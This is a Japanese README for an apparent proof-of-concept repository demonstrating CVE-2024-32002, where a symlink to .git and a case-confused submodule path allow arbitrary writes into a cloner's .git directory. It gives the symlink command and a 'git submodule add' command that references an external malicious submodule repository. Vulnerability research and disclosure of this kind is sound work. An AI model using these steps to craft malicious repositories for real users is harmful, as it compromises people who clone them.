CVE-2024-32002 PRC AW

CVE-2024-32002 の PoC で、.git ディレクトリへの任意書き込みを実証します。

関連するサブモジュールリポジトリについては cve-2024-32002-submodule-aw を参照してください。

このリポジトリの内容

• .git ディレクトリにリンクする任意の名前のシンボリックリンク。
• 悪意のあるサブモジュールを定義する .gitmodules ファイル。

このリポジトリの再現方法

このリポジトリは Linux (正確には WSL2) で作成されました。これは重要です。悪意のあるリポジトリは、大文字小文字を区別するファイルシステム上でしか作成できません。

1. すべて小文字を使用してシンボリックリンクを作成します

ln -s .git submodule

注記:

• シンボリックリンクは .git フォルダを指す必要があります。ここにファイルを書き込みたいからです。
• シンボリックリンク名 (submodule) は任意ですが、小文字で始まる必要があります。
• これは重要です。小文字は大文字よりも前にソートされるためです。クローン作成マシンがサブモジュールファイルの書き込み先を混乱した場合、通常のディレクトリではなくシンボリックリンクを選択させたいのです。

2. サブモジュールディレクトリ名の大文字小文字の違いに注意して、悪意のあるサブモジュールを追加します

git submodule add --name aw https://github.com/JakobTheDev/cve-2024-32002-submodule-aw.git Submodule/notexists